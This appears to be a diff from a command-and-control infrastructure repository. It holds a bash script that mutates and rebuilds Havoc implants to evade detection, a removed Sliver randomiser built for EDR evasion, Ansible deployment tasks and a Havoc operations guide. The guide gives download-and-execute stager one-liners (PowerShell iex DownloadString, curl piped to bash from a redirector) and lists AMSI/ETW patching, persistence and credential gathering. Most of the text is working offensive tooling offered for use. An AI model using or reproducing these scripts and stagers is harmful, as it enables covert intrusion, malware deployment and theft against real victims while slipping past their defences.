echo "${words[$RANDOM % ${#words[@]}]}_$(random_str 5 | tr '[:upper:]' '[:lower:]')"
}
# === BACKUP FUNCTIONS ===
backup_sources() {
mkdir -p "$BACKUP_DIR/src_$TIMESTAMP"
if [ -d "$SRC_DIR" ]; then
cp -r "$SRC_DIR"/* "$BACKUP_DIR/src_$TIMESTAMP/"
log "${GREEN}[✓] Source files backed up to: $BACKUP_DIR/src_$TIMESTAMP/${NC}"
else
log "${RED}[!] Source directory not found: $SRC_DIR${NC}"
exit 1
fi
# Backup config file if it exists
if [ -f "$HAVOC_ROOT/data/havoc.yaotl" ]; then
cp "$HAVOC_ROOT/data/havoc.yaotl" "$CONFIG_BACKUP"
log "${GREEN}[✓] Config file backed up to: $CONFIG_BACKUP${NC}"
fi
# Backup shellcode
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
log "${GREEN}[✓] Previous shellcode backed up to: $BACKUP_DIR/implant_$TIMESTAMP.raw${NC}"
else
log "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
}
# === MUTATION FUNCTIONS ===
mutate_transport_http() {
local THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
# Generate a realistic looking User-Agent
local browsers=("Mozilla/5.0" "Mozilla/4.0")
local systems=("Windows NT 10.0; Win64; x64" "Windows NT 11.0; Win64; x64" "Macintosh; Intel Mac OS X 10_15_7")
local engines=("AppleWebKit/537.36" "AppleWebKit/605.1.15" "Gecko/20100101")
local browser_versions=("Chrome/91.0.4472.124" "Chrome/96.0.4664.110" "Safari/537.36" "Edge/91.0.864.59" "Firefox/89.0")
local UA="${browsers[$RANDOM % ${#browsers[@]}]} (${systems[$RANDOM % ${#systems[@]}]}) ${engines[$RANDOM % ${#engines[@]}]} ${browser_versions[$RANDOM % ${#browser_versions[@]}]}"
local URI=$(random_plausible)
# Replace the User-Agent
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
# Replace URI paths
sed -i "s|/stage|/${URI}|g" "$THTTP"
sed -i "s|/[a-zA-Z0-9_-]*\.css|/${random_plausible}.css|g" "$THTTP"
sed -i "s|/[a-zA-Z0-9_-]*\.js|/${random_plausible}.js|g" "$THTTP"
sed -i "s|/[a-zA-Z0-9_-]*\.html|/${random_plausible}.html|g" "$THTTP"
sed -i "s|/[a-zA-Z0-9_-]*\.png|/${random_plausible}.png|g" "$THTTP"
# Randomize headers order where possible
if grep -q "Accept:" "$THTTP"; then
sed -i "s/Accept: .*/Accept: *\/*\\r\\n\";/" "$THTTP"
fi
# Add additional headers
HEADER_LINE=$(grep -n "User-Agent:" "$THTTP" | cut -d':' -f1)
if [ -n "$HEADER_LINE" ]; then
sed -i "${HEADER_LINE}a\\ HeadersAppend( Request, \"Accept-Language: en-US,en;q=0.9\\r\\n\" );" "$THTTP"
sed -i "${HEADER_LINE}a\\ HeadersAppend( Request, \"Cache-Control: max-age=0\\r\\n\" );" "$THTTP"
fi
log "${GREEN}[✓] Transport HTTP mutations applied:"
log " - User-Agent: ${UA}"
log " - URI path: /${URI}"
log " - Added randomized headers${NC}"
else
log "${YELLOW}[!] TransportHttp.c not found. Skipping HTTP transport mutation.${NC}"
fi
}
mutate_named_resources() {
# Find suitable targets
local TARGETS=("$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c" "$SRC_DIR/common/Common.c")
local PIPE=$(random_plausible)
local MUTEX=$(random_plausible)
local SERVICE=$(random_plausible)
local FOUND=false
for TARGET_FILE in "${TARGETS[@]}"; do
if [[ -f "$TARGET_FILE" ]]; then
FOUND=true
# Replace named pipes
if grep -q "\\\\\.\\\\pipe\\\\" "$TARGET_FILE"; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_-]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
log "${GREEN}[✓] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
fi
# Replace mutexes
if grep -q "Mutex_" "$TARGET_FILE"; then
sed -i "s|Mutex_[a-zA-Z0-9_-]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
log "${GREEN}[✓] Randomized mutex: Mutex_${MUTEX}${NC}"
fi
# Replace service names if they exist
if grep -q "ServiceName" "$TARGET_FILE"; then
sed -i "s|ServiceName[\"'][a-zA-Z0-9_-]*[\"']|ServiceName\"${SERVICE}\"|g" "$TARGET_FILE"
log "${GREEN}[✓] Randomized service name: ${SERVICE}${NC}"
fi
fi
done
if ! $FOUND; then
log "${YELLOW}[!] No suitable files found to mutate named resources.${NC}"
fi
}
mutate_memory_strings() {
local STRING_FILES=("$SRC_DIR/core/Memory.c" "$SRC_DIR/core/Spoof.c" "$SRC_DIR/core/Win32.c")
local FOUND=false
for STRING_FILE in "${STRING_FILES[@]}"; do
if [[ -f "$STRING_FILE" ]]; then
FOUND=true
# Replace memory allocation strings
sed -i "s|VirtualAlloc|$(random_str 12)|g" "$STRING_FILE"
sed -i "s|VirtualProtect|$(random_str 12)|g" "$STRING_FILE"
sed -i "s|HeapAlloc|$(random_str 12)|g" "$STRING_FILE"
sed -i "s|HeapCreate|$(random_str 12)|g" "$STRING_FILE"
sed -i "s|CreateThread|$(random_str 12)|g" "$STRING_FILE"
log "${GREEN}[✓] Randomized memory function strings in ${STRING_FILE}${NC}"
fi
done
if ! $FOUND; then
log "${YELLOW}[!] No memory string files found to mutate.${NC}"
fi
}
mutate_config_file() {
local CONFIG_FILE="$HAVOC_ROOT/data/havoc.yaotl"
if [[ -f "$CONFIG_FILE" ]]; then
# Generate new values
local USER_AGENT="Mozilla/5.0 (Windows NT $(( $RANDOM % 4 + 8 )).$(( $RANDOM % 2 + 1 )); Win64; x64) AppleWebKit/$(( $RANDOM % 200 + 500 )).$(( $RANDOM % 50 + 1 ))"
local SLEEP_TIME=$(( $RANDOM % 10 + 2 ))
local JITTER_PCT=$(( $RANDOM % 40 + 20 ))
# Update configuration values
sed -i "s/Sleep[ \t]*=[ \t]*[0-9]*/Sleep = $SLEEP_TIME/" "$CONFIG_FILE"
sed -i "s/SleepJitter[ \t]*=[ \t]*[0-9]*/SleepJitter = $JITTER_PCT/" "$CONFIG_FILE"
sed -i "s/UserAgent[ \t]*=[ \t]*\"[^\"]*\"/UserAgent = \"$USER_AGENT\"/" "$CONFIG_FILE"
# Randomize URI paths
sed -i '/Uris/,/]/{ s|"/[^"]*"|"/'"$(random_plausible)"'"|g }' "$CONFIG_FILE"
log "${GREEN}[✓] Configuration file updated:"
log " - Sleep time: ${SLEEP_TIME} seconds"
log " - Jitter: ${JITTER_PCT}%"
log " - User-Agent & URIs randomized${NC}"
else
log "${YELLOW}[!] Configuration file not found at ${CONFIG_FILE}${NC}"
fi
}
add_junk_code() {
if ! $ADD_JUNK_CODE; then
return
fi
local C_FILES=$(find "$SRC_DIR" -name "*.c")
local FOUND=false
for C_FILE in $C_FILES; do
if [[ -f "$C_FILE" ]]; then
FOUND=true
# Add junk function that does nothing
local JUNK_FUNC="void $(random_plausible)() { int i = 0; for(i=0; i<10; i++) { i++; i--; } }"
echo -e "\n$JUNK_FUNC" >> "$C_FILE"
# Add junk global variable
local JUNK_VAR="static const char* $(random_plausible)_str = \"$(random_str 16)\";"
sed -i "1s/^/$JUNK_VAR\n/" "$C_FILE"
log "${GREEN}[✓] Added junk code to ${C_FILE}${NC}"
fi
done
if ! $FOUND; then
log "${YELLOW}[!] No C files found to add junk code.${NC}"
fi
}
randomize_function_names() {
if ! $RANDOMIZE_FUNCTIONS; then
return
fi
local H_FILES=$(find "$SRC_DIR" -name "*.h")
local FOUND=false
for H_FILE in $H_FILES; do
if [[ -f "$H_FILE" && $(basename "$H_FILE") != "Common.h" && $(basename "$H_FILE") != "Native.h" ]]; then
FOUND=true
# Get function declarations
local FUNCTIONS=$(grep -E "VOID [A-Za-z0-9_]+\(" "$H_FILE" | grep -v "KERNEL" | grep -v "WINAPI" | awk '{print $2}' | cut -d'(' -f1)
for FUNC in $FUNCTIONS; do
if [[ "$FUNC" != "main" && "$FUNC" != "DllMain" && ! "$FUNC" =~ ^DemOn ]]; then
local NEW_FUNC="${FUNC}_$(random_str 4)"
# Replace in header file
sed -i "s/\<$FUNC\>/$NEW_FUNC/g" "$H_FILE"
# Find and replace in all .c files
find "$SRC_DIR" -name "*.c" -exec sed -i "s/\<$FUNC\>/$NEW_FUNC/g" {} \;
log "${BLUE}[i] Renamed function: $FUNC$NEW_FUNC${NC}"
fi
done
fi
done
if ! $FOUND; then
log "${YELLOW}[!] No header files found to randomize function names.${NC}"
fi
}
# === BUILD FUNCTION ===
rebuild_implant() {
log "${YELLOW}[+] Rebuilding Havoc payload...${NC}"
# Check if we should use make from the project root
if [ -f "$HAVOC_ROOT/Makefile" ]; then
cd "$HAVOC_ROOT" || exit 1
make clean >/dev/null 2>&1
make >/dev/null 2>&1
if [ $? -ne 0 ]; then
log "${RED}[!] Build failed at project root level${NC}"
return 1
fi
# Otherwise try to build just the implant
elif [ -f "$IMPLANT_DIR/Makefile" ]; then
cd "$IMPLANT_DIR" || exit 1
make clean >/dev/null 2>&1
make >/dev/null 2>&1
if [ $? -ne 0 ]; then
log "${RED}[!] Build failed at implant level${NC}"
return 1
fi
else
log "${RED}[!] No Makefile found to build the implant${NC}"
return 1
fi
# Verify the shellcode was generated
if [[ -f "$OUTPUT_FILE" ]]; then
log "${GREEN}[✓] Build successful! New shellcode generated at: $OUTPUT_FILE${NC}"
# Calculate hash for verification
local NEW_HASH=$(sha256sum "$OUTPUT_FILE" | cut -d' ' -f1)
log "${GREEN}[✓] New shellcode hash: ${NEW_HASH}${NC}"
# Optional: Compare with previous hash if a backup exists
local BACKUP_FILE="$BACKUP_DIR/implant_$TIMESTAMP.raw"
if [[ -f "$BACKUP_FILE" ]]; then
local OLD_HASH=$(sha256sum "$BACKUP_FILE" | cut -d' ' -f1)
if [[ "$NEW_HASH" != "$OLD_HASH" ]]; then
log "${GREEN}[✓] Verified: Shellcode has been successfully mutated${NC}"
else
log "${YELLOW}[!] Warning: New shellcode hash matches old hash${NC}"
fi
fi
return 0
else
log "${RED}[!] Build failed or shellcode was not generated at expected location: $OUTPUT_FILE${NC}"
return 1
fi
}
# === AUTO-SCHEDULING FUNCTION ===
setup_auto_mutation() {
local SCRIPT_PATH=$(realpath "$0")
local CRON_ENTRY="0 */6 * * * $SCRIPT_PATH > /dev/null 2>&1"
# Check if already in crontab
if crontab -l 2>/dev/null | grep -q "$SCRIPT_PATH"; then
log "${YELLOW}[!] Auto-mutation already scheduled in crontab${NC}"
return
fi
# Add to crontab
(crontab -l 2>/dev/null || echo "") | echo "$CRON_ENTRY" | crontab -
if [ $? -eq 0 ]; then
log "${GREEN}[✓] Auto-mutation scheduled for every 6 hours${NC}"
else
log "${RED}[!] Failed to schedule auto-mutation${NC}"
fi
}
# === MAIN EXECUTION ===
main() {
# Create directories
mkdir -p "$BACKUP_DIR"
mkdir -p "$OUTPUT_DIR"
# Start log file
echo "=== Havoc Implant Mutation Log - $TIMESTAMP ===" > "$LOG_FILE"
log "${BLUE}════════════════════════════════════════════${NC}"
log "${BLUE} Havoc Implant Mutation Tool v1.0 ${NC}"
log "${BLUE}════════════════════════════════════════════${NC}"
# Check for Havoc installation
if [ ! -d "$HAVOC_ROOT" ]; then
log "${RED}[!] Havoc root directory not found at: $HAVOC_ROOT${NC}"
log "${YELLOW}[!] Use HAVOC_ROOT=/path/to/havoc $0 to specify location${NC}"
exit 1
fi
# Backup everything first
log "${YELLOW}[+] Backing up current implant and source files...${NC}"
backup_sources
# Start mutations
log "${YELLOW}[+] Starting implant mutations...${NC}"
# Apply all mutation types
mutate_transport_http
mutate_named_resources
mutate_memory_strings
mutate_config_file
# Advanced mutations
if $ADD_JUNK_CODE; then
add_junk_code
fi
if $RANDOMIZE_FUNCTIONS; then
randomize_function_names
fi
# Rebuild the implant
rebuild_implant
# Show completion summary
log "${BLUE}════════════════════════════════════════════${NC}"
log "${GREEN}[✓] Implant mutation completed successfully!${NC}"
log "${GREEN}[✓] Backup saved to: ${BACKUP_DIR}${NC}"
log "${GREEN}[✓] Log file: ${LOG_FILE}${NC}"
log "${BLUE}════════════════════════════════════════════${NC}"
# Ask about auto-scheduling
if [ -t 0 ]; then # Only if running interactively
read -p "Would you like to set up automatic mutation every 6 hours? (y/n): " SETUP_AUTO
if [ "$SETUP_AUTO" = "y" ]; then
setup_auto_mutation
fi
fi
}
# Parse command line arguments
while [[ $# -gt 0 ]]; do
case $1 in
--auto-schedule)
setup_auto_mutation
exit 0
;;
--no-junk)
ADD_JUNK_CODE=false
shift
;;
--no-functions)
RANDOMIZE_FUNCTIONS=false
shift
;;
--config-only)
# Only modify the config file
mkdir -p "$BACKUP_DIR"
backup_sources
mutate_config_file
exit 0
;;
--help)
echo "Usage: $0 [options]"
echo "Options:"
echo " --auto-schedule Setup automatic mutation via crontab"
echo " --no-junk Don't add junk code to source files"
echo " --no-functions Don't randomize function names"
echo " --config-only Only modify the configuration file"
echo " --help Show this help message"
echo ""
echo "Environment variables:"
echo " HAVOC_ROOT Path to Havoc installation (default: $HOME/Tools/Havoc)"
exit 0
;;
*)
echo "Unknown option: $1"
echo "Use --help for usage information"
exit 1
;;
esac
done
# Execute main logic
main
-119
View File
@@ -1,119 +0,0 @@
#!/bin/bash
# Enhanced Sliver randomizer for EDR evasion with dynamic redirector path support
set -e
TEMP_DIR=$(mktemp -d)
SLIVER_DIR="${TEMP_DIR}/sliver"
LOG_FILE="/root/Tools/sliver_randomizer.log"
# Function to log messages
log() {
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
}
# Function to generate random strings
random_string() {
local length=${1:-8}
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
}
# Install required dependencies
log "Installing dependencies..."
apt-get update >/dev/null 2>&1
apt-get install -y git golang-go make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
# Clone Sliver repository
log "Cloning Sliver repository..."
git clone --quiet https://github.com/BishopFox/sliver.git $SLIVER_DIR
cd $SLIVER_DIR
# Examine repository structure
log "Analyzing Sliver repository structure..."
IMPLANT_NAME=$(random_string 12)
log "Using randomized implant name: $IMPLANT_NAME"
# Find and modify key files
log "Modifying implant name in source code..."
grep -l "ImplantName.*sliver" --include="*.go" -r . | while read file; do
sed -i "s|ImplantName *= *\"sliver\"|ImplantName = \"$IMPLANT_NAME\"|g" "$file"
log "Modified $file: Changed implant name to $IMPLANT_NAME"
done
# Add custom build ID to sliver.go
log "Adding unique build identifiers..."
SLIVER_GO_FILES=$(find . -name "sliver.go")
for file in $SLIVER_GO_FILES; do
echo -e "\n// Custom build identifier: $(random_string 32)\n// Build timestamp: $(date +%s)" >> "$file"
log "Added build identifier to $file"
done
# Modify build flags for additional randomization
log "Setting custom build flags..."
grep -l "LinkerStrip" --include="*.go" -r . | while read file; do
sed -i "s|LinkerStrip = \"-s -w\"|LinkerStrip = \"-s -w -buildid=$(random_string 10)\"|g" "$file"
log "Modified $file: Added custom build ID"
done
# Build modified Sliver server and client
log "Building customized Sliver server and client..."
make
# Check if binaries were built
if [ -f "./sliver-server" ] && [ -f "./sliver-client" ]; then
log "Build successful - installing customized binaries"
# Stop any running Sliver service
systemctl stop sliver 2>/dev/null || true
# Move binaries to system path
cp -f ./sliver-server /usr/local/bin/
cp -f ./sliver-client /usr/local/bin/
chmod +x /usr/local/bin/sliver-server
chmod +x /usr/local/bin/sliver-client
# Create systemd service file
cat > /etc/systemd/system/sliver.service << EOF
[Unit]
Description=Sliver C2 Server (Randomized Build)
After=network.target
[Service]
Type=simple
User=root
Group=root
WorkingDirectory=/root/.sliver
ExecStart=/usr/local/bin/sliver-server daemon
Restart=always
RestartSec=10
# Security measures
PrivateTmp=true
ProtectHome=false
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
EOF
# Create sliver directories
mkdir -p /root/.sliver/{configs,operators,profiles}
# Create basic operator config
/usr/local/bin/sliver-server operator --name admin --lhost 127.0.0.1 --save /root/admin.cfg
# Start sliver service
systemctl daemon-reload
systemctl enable sliver
systemctl start sliver
log "Sliver service installed and started"
else
log "Build failed - binaries not found"
exit 1
fi
# Cleanup
log "Cleaning up..."
rm -rf $TEMP_DIR
log "Sliver randomization and installation complete - implant name: $IMPLANT_NAME"
+1 -8
View File
@@ -122,7 +122,7 @@
mode: '0700'
owner: root
group: root
- name: Create Havoc C2 configuration from template
template:
src: "../templates/havoc-config.yaotl.j2"
@@ -165,13 +165,6 @@
- "/usr/local/bin/sliver-server"
ignore_errors: yes
- name: Stop existing Sliver service if running
systemd:
name: sliver
state: stopped
enabled: no
ignore_errors: yes
- name: Install Havoc C2 Framework
shell: "/root/Tools/havoc_installer.sh"
args:
+69 -34
View File
@@ -1,54 +1,60 @@
HAVOC C2 OPERATIONS GUIDE
==========================
This guide provides information on using the Havoc C2 framework deployed on
your infrastructure.
This guide provides information on using the Havoc C2 framework (dev branch)
deployed on your infrastructure.
SERVER INFORMATION
-----------------
C2 Server IP: {{ c2_ip }}
Redirector Domain: {{ redirector_domain }}
Teamserver Port: 40056
Admin Password: Stored in /opt/havoc/data/profiles/default.yaotl
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
Admin User: {{ havoc_admin_user | default('admin') }}
Admin Password: Stored in /root/Tools/havoc/data/profiles/default.yaotl
CONNECTING TO THE TEAMSERVER
---------------------------
From your local machine, you should:
From your local machine:
1. Make sure Havoc client is installed on your operator system
2. Connect to the Teamserver:
1. Make sure Havoc client (dev branch) is installed:
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
$ cd Havoc/Client
$ mkdir build && cd build
$ cmake -GNinja ..
$ ninja
2. Connect to the Teamserver via GUI:
- Host: {{ c2_ip }}
- Port: 40056
- User: admin
- Password: See /opt/havoc/data/profiles/default.yaotl
- Port: {{ havoc_teamserver_port | default(40056) }}
- User: {{ havoc_admin_user | default('admin') }}
- Password: See /root/Tools/havoc/data/profiles/default.yaotl
Note: You can use the team server CLI with:
$ havoc-teamserver client --username admin --password Your_Password
3. CLI Connection:
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
LISTENERS
--------
Two default listeners are configured:
- HTTP on port 8080
- HTTPS on port 443 (through the redirector)
- HTTP on port {{ havoc_http_port | default(8080) }}
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
You can view and manage listeners through the Havoc client.
To view and manage listeners: Attack → Listeners in the Havoc client.
GENERATING PAYLOADS
-----------------
Pre-generated payloads are available in:
- /opt/havoc/payloads/
Pre-generated payloads are available in /root/Tools/havoc/payloads/
For new payloads:
1. Connect to the Teamserver using the Havoc client
To generate new payloads:
1. Connect to the Teamserver
2. Navigate to Attack → Payload
3. Choose your payload options and generate
3. Select the listener (HTTPS recommended)
4. Choose architecture, format, and evasion options
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
PAYLOAD DELIVERY
--------------
Payloads can be delivered through:
- HTTP server at {{ c2_ip }}:8443
- Through the redirector at {{ redirector_domain }}
PowerShell one-liner:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
@@ -57,21 +63,50 @@ curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
OPERATIONAL SECURITY
------------------
- All connections go through the redirector
- Sleep times of agents are randomized (5s default with 30% jitter)
- Havoc is configured with numerous EDR evasion features
- Anti-forensics measures are enabled in all payloads
- All connections are routed through the redirector
- Payload customization includes:
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
* EDR unhooking techniques
* AMSI/ETW patching
* Indirect syscalls
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
ADVANCED FEATURES (DEV BRANCH)
----------------------------
- Enhanced memory scanner evasion
- PPID spoofing capabilities
- Reflective DLL loading improvements
- EDR hook detection and avoidance
- Process token manipulation
- Registry persistence options
POST-EXPLOITATION
---------------
For post-exploitation, Havoc offers:
1. BOF (Beacon Object Files) support
2. Integrated command & control modules
3. File system operations
4. Process injection & manipulation
5. Credential gathering capabilities
SERVER MANAGEMENT
---------------
- Havoc Teamserver service: systemctl status havoc
- Service configuration: /etc/systemd/system/havoc.service
- Configuration profiles: /root/Tools/havoc/data/profiles/
TROUBLESHOOTING
--------------
1. If agents can't connect:
1. Agent connection issues:
- Verify DNS for {{ redirector_domain }} points to your redirector
- Check NGINX configuration on the redirector
- Ensure ports 8080 and 443 are open on respective servers
- Check nginx configuration on the redirector
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
2. If Havoc Teamserver isn't responding:
- Check service status: systemctl status havoc
2. Teamserver issues:
- Check service: systemctl status havoc
- View logs: journalctl -u havoc
- Restart if needed: systemctl restart havoc
3. Use the health command in Havoc client to check Teamserver health
3. Use Havoc client CLI debugging:
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug